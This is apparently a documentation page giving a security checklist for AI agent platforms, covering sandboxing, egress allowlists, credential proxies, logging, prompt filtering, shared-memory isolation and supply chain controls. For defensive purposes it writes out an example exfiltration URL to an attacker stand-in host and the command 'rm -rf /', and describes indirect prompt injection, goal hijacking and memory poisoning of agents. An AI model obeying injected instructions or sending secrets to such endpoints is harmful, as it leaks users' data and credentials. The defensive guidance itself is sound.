Skip to main content
Modern AI agents built on Claude Agent SDK or OpenClaw assume broad access to the file system, the shell, and the network from the start. Running them in production takes a dedicated execution platform with strong security controls. Use this checklist to confirm that your Agent Platform covers the main security concerns. Each item gives you the check, why it matters, and what to do about it.

​
1. Sandbox isolation

​
1.1 One session, one environment

  • Each AI agent session runs in its own container or VM
Why: When several agents share an environment, one agent’s file edits collide with another’s. Credentials cross between sessions, and you lose the ability to trace what each agent did. Recommendation: Give every session a disposable environment. Firecracker microVMs, containers (Docker/Podman), and managed services such as AWS Lambda, ECS, Google Cloud Run, and GKE all work. Destroy the environment when the session ends.

​
1.2 Blast radius containment

  • Destructive actions by the agent (rm -rf /, for instance) stay contained inside the sandbox
Why: An AI agent with shell access can run any command. Without isolation, one mistake or one prompt injection attack destroys host files and reaches other workloads. Recommendation: Make the root filesystem read-only wherever you can, and mount only the working directory that needs writes. Drop every unnecessary Linux capability and run as a non-root user inside the container.

​
2. Network controls

​
2.1 Egress allowlisting

  • Outbound traffic is limited to an allowlist of domains and endpoints
Why: An agent under an indirect prompt injection attack can send confidential data to an attacker’s endpoint with curl or any HTTP library. A single request to https://attacker.example/collect?data=<secret> is enough to get the data out. Recommendation: Implement a domain-based allowlist. For coding agents, permit only what you need, such as github.com, npmjs.org, pypi.org, and your own container registry. Cloud NGFW with FQDN rules works on Google Cloud, and a VPC paired with a forward proxy works on AWS. Deny all other outbound traffic.

​
2.2 HTTP-level inspection

  • Sensitive environments inspect HTTP requests through a forward proxy
Why: A domain allowlist alone won’t stop data leaving through URL parameters, headers, or request bodies aimed at an already-permitted domain. Recommendation: Route traffic through a forward proxy such as Squid or Envoy, and inspect and log request URLs, headers, and payloads. Block requests that carry signs of exfiltration.

​
3. Credential management

​
3.1 Least privilege

  • The agent holds only the minimum permissions its task requires
Why: Assume an AI agent will perform every operation its permissions allow. Excess permissions scale up the damage from prompt injection and from ordinary mistakes. Recommendation: Before handing over any credential, document which resources the agent touches and which operations it performs. Keep access read-only unless writes are clearly required. For agents shared by several people, confirm that the agent’s permissions never exceed those of the individual user. See Confused Deputy Problem for details.

​
3.2 Short-lived credentials

  • Every credential given to the agent expires quickly, within roughly an hour
Why: A long-lived API key that leaks through prompt injection or a log stays exploitable until it expires. With LLM assistance, attackers move from a foothold to admin privileges in minutes. Recommendation: Issue short-lived credentials through OIDC-based token exchange with Workload Identity. On GitHub, use a GitHub App installation access token that expires in an hour rather than a personal access token. Never place a long-lived API key in the agent environment.

​
3.3 Credential injection proxy

  • Credentials live in a proxy rather than in the agent environment
Why: Even a short-lived credential can leak while it’s still valid. If the agent never holds one, the risk of direct leakage all but disappears. Recommendation: Put a credential injection proxy such as WardGate in front of the agent, attaching authentication headers to outbound HTTP requests before forwarding them. The agent knows only the proxy URL and never touches a credential. You can also expose unauthenticated remote MCP servers reachable only from inside the agent’s network.

​
3.4 Commit signing without long-lived keys

  • Git commits from the agent are signed without GPG or SSH keys in its environment
Why: Plenty of organizations require signed commits, yet GPG and SSH keys are long-lived and highly sensitive, which makes them a prime target once they sit in a sandbox. Recommendation: Commits created through the GitHub GraphQL API are signed automatically. Use ghcommit, which wraps that API in a CLI, together with a GitHub App installation access token that expires in an hour.

​
3.5 Recoverability of affected resources

  • Resources the agent can modify or delete have a recovery path
Why: AI agents make incorrect updates and deletions. Third-party services don’t always let you restore what was lost through their own features. Recommendation: Snapshot or back up resource state before the agent acts. For source code, use Branch Rulesets to block direct pushes to the default branch and require PR review. Put a human in the loop for actions you can’t undo, such as sending email.

​
4. Observability

​
4.1 Agent action logs

  • Every tool call, command execution, and MCP server invocation is recorded with a timestamp
Why: During an incident you have to reconstruct exactly when the agent did what, and with which parameters. Without action logs there is no investigation. Recommendation: Build action logging into the agent itself. When logs don’t reach standard output, as with claude -p in Claude Code CLI, collect them from the ~/.claude directory. Store them in a centralized append-only log store with a defined retention period.

​
4.2 LLM API proxy logs

  • LLM API calls go through a proxy that records prompts and responses
Why: Logs at the LLM layer preserve the agent’s reasoning. You need them to understand why the agent took a particular action. Recommendation: Call the LLM API through a proxy such as LiteLLM and record prompts, completions, token counts, and latency. Consider pairing it with something like cencurity, which detects dangerous responses by policy and stops them.

​
4.3 Agent instrumentation

  • Framework-level tracing covers workflows that span multiple steps
Why: Individual LLM calls don’t show you the whole picture. You need to follow which tools ran in what order, how context moved between steps, and where things failed. Recommendation: Add instrumentation libraries such as Datadog LLM Observability, LangSmith, or Arize Phoenix to your agent framework.

​
4.4 Runtime security

  • Commands and processes inside the sandbox are monitored at the OS level
Why: Some threats never surface at the LLM layer. A malicious command, a hallucinated package getting installed, an unexpected process: all of these are visible only from the OS. Recommendation: Run a runtime security tool such as Falco inside the sandbox. Expect to tune the rules, since false positives are common. Include supply chain risks like slopsquatting, where an agent installs a package name that never existed.

​
5. Prompt filtering

​
5.1 Enable prompt guardrails

  • Prompt filtering applies to both input and output
Why: Prompt filtering gives you a baseline defense against prompt injection, data exfiltration through prompts, and harmful output. Recommendation: Enable Model Armor on Google Cloud or Bedrock Guardrails on AWS. To cover several agents at once, implement filtering at the proxy layer with something like LiteLLM Guardrails.

​
5.2 Defense in depth beyond filtering

  • Security rests on platform-level controls rather than on prompt filtering alone
Why: Prompt filtering can’t block every attack. Attacks shaped like legitimate instructions, such as agent goal hijacking, are harder to catch than a direct instruction override. Recommendation: Treat prompt filtering as one layer of defense in depth. The platform controls in this checklist carry the weight: least privilege, a credential injection proxy, egress allowlists, and a human in the loop. Filtering stops the obvious attacks while platform design limits the blast radius of the subtle ones.

​
6. Long-lived shared LLM memory

​
6.1 Namespace isolation for memory

  • LLM memory is scoped per agent or per session
Why: When several agents share one memory space, a single poisoned entry planted through indirect prompt injection persists and spreads to every agent that reads it. The Zombie Agents attack demonstrates this. Recommendation: Keep namespaces strictly separate per agent. Where sharing is unavoidable, validate content at write time through filtering or a human in the loop.

​
6.2 Memory audit logs

  • Every read and write to LLM memory is recorded
Why: Once memory is contaminated, you need to trace back to which agent wrote the entry and when, and which agents then consumed it. Recommendation: Record the agent ID, session ID, timestamp, and a content hash on every read and write. Alert on unusual write patterns.

​
7. Supply chain security

​
7.1 Component verification

  • Agent frameworks, MCP servers, and Agent Skills come from verified sources and are pinned to specific versions
Why: An Agent Platform handles significant permissions. A compromised framework or MCP server in the supply chain leads straight to credential theft and data exfiltration. Recommendation: Pin dependencies to exact versions or content hashes. Audit and update them on a schedule, and refer to container images by digest (image@sha256:...) rather than by a mutable tag.

​
7.2 Read-only configuration

  • Configuration files are mounted read-only and never carry over between sessions
Why: A compromised agent that can rewrite its own configuration can widen its permissions or leave malicious settings behind for the next session. Recommendation: Mount the configuration directory read-only. Generate fresh configuration from a trusted source for each session, and never reuse the previous session’s filesystem.

​
8. Access management for the platform

​
8.1 Authenticated endpoints

  • The platform’s API and gateway require authentication and aren’t exposed to the internet without access controls
Why: Expose a gateway without authentication and anyone can start an agent, extract credentials, or take remote control of a session. This was the most serious problem in OpenClaw. Recommendation: Place the gateway behind an identity-aware proxy such as Google Cloud IAP. Require user authentication for every operation, and keep control endpoints off the public internet.

​
8.2 Audit logs for platform access

  • User operations are recorded, including session creation, instruction submission, and result retrieval
Why: Audit logs are the foundation for incident investigation, compliance, and governance. Recommendation: Record the user’s identity, timestamp, action type, and session ID. Feed them into your organization’s SIEM for centralized monitoring.

​
References